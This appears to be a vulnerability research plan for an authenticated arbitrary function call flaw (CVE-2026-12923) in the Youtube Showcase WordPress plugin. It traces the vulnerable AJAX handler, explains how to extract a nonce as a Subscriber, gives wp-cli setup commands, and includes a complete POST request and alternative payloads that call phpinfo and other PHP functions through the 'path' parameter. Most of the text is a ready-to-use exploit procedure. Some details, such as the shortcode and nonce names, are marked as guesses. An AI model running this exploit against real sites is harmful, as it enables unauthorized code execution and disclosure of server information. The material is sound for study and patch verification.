Video Gallery <= 4.0.3 - Authenticated (Subscriber+) Arbitrary Function Call via 'path' Parameter

This research plan outlines the technical steps required to demonstrate the arbitrary function call vulnerability (CVE-2026-12923) in the Youtube Showcase plugin.

1. Vulnerability Summary

The Youtube Showcase plugin (up to 4.0.3) contains an authenticated arbitrary function call vulnerability in its AJAX handler emd_delete_file(). The vulnerability stems from a lack of validation on the path parameter. The user-controlled string is processed to remove a specific suffix and then executed directly as a PHP function name. Because the handler lacks capability checks (e.g., current_user_can()), any authenticated user with Subscriber-level access can invoke zero-argument PHP functions.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: emd_delete_file (inferred from function name)
• HTTP Method: POST
• Vulnerable Parameter: path
• Authentication: Required (Subscriber+)
• Precondition: A valid nonce must be obtained from a front-end page rendering a form with file fields.

3. Code Flow

1. Entry Point: The AJAX action wp_ajax_emd_delete_file (and potentially wp_ajax_nopriv_emd_delete_file) is registered, pointing to the function emd_delete_file in includes/common-functions.php.
2. Input Handling: The function retrieves $_POST['path'].
3. Sanitization: The input is passed through sanitize_text_field().
4. Transformation: The code performs a string replacement: $sess_name = str_replace('_PLUGIN_DIR', '', $path); (as per the vulnerability description).
5. The Sink: The resulting variable is invoked as a dynamic function call: $sess_name();.
6. Constraint: The function called must accept zero arguments to avoid a ArgumentCountError in PHP 7.1+.

4. Nonce Acquisition Strategy

The vulnerability description states the nonce is emitted on front-end pages containing form shortcodes with file fields. Based on the plugin structure (includes/entities/emd-video-shortcodes.php), the relevant shortcode is likely used for video submissions.

1. Identify Shortcode: The plugin likely uses [youtube_showcase_video_form] or [emd_video_form] (inferred).
2. Setup Page: Create a public page containing this shortcode.

   wp post create --post_type=page --post_title="Submit Video" --post_status=publish --post_content='[youtube_showcase_video_form]'
   

3. Navigate and Extract:
   • Login as a Subscriber.
   • Navigate to the newly created page.
   • Use browser_eval to locate the nonce. In eMarket Design plugins, AJAX variables are typically localized under a global object like emd_ajax_vars or wpas_ajax_vars.
   • Likely Key: window.emd_ajax_vars?.nonce or window.wpas_ajax_vars?.nonce.
   • Specific Search: Check the page source for wp_create_nonce('emd_delete_file') or similar.

5. Exploitation Strategy

The goal is to trigger phpinfo() to prove arbitrary code execution/information disclosure.

• Request URL: http://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Payload:
  • action: emd_delete_file
  • path: phpinfo_PLUGIN_DIR (The _PLUGIN_DIR suffix will be stripped, leaving phpinfo)
  • nonce: [EXTRACTED_NONCE]

HTTP Request Example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_...

action=emd_delete_file&path=phpinfo_PLUGIN_DIR&nonce=a1b2c3d4e5

6. Test Data Setup

1. Install Plugin: Install and activate youtube-showcase version 4.0.3.
2. Create User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

3. Identify Form Page: If the plugin’s "Setup Assistant" was used, it may have already created a "Video Submission" or "Add Video" page. If not, create one using the steps in Section 4.

7. Expected Results

• Successful Exploit: The server response should contain the standard PHP Information (phpinfo) HTML output.
• Alternative PoC: Using path=get_defined_vars_PLUGIN_DIR should return a serialized or dumped list of defined variables (depending on how the plugin handles the function's return value).

8. Verification Steps

Since this is an arbitrary function call, verification is best done by observing the HTTP response:

1. Verify the presence of the string PHP Version in the response body.
2. Verify the presence of the string Configuration or Environment in the response body.

9. Alternative Approaches

If phpinfo() is disabled or filtered, attempt to trigger functions that provide confirmation without extensive output:

• path=error_get_last_PLUGIN_DIR: Might disclose sensitive file paths if errors occurred.
• path=phpversion_PLUGIN_DIR: Returns the PHP version string.
• path=wp_get_current_user_PLUGIN_DIR: May return user object data if the plugin echoes the result of the dynamic call.

Note on _PLUGIN_DIR: If the str_replace logic is str_replace('_PLUGIN_DIR', '', $path), sending phpinfo_PLUGIN_DIR is mandatory. If the logic simply permits any string and _PLUGIN_DIR happens to be part of a path the developer intended to use, then path=phpinfo alone might work. The researcher should test both.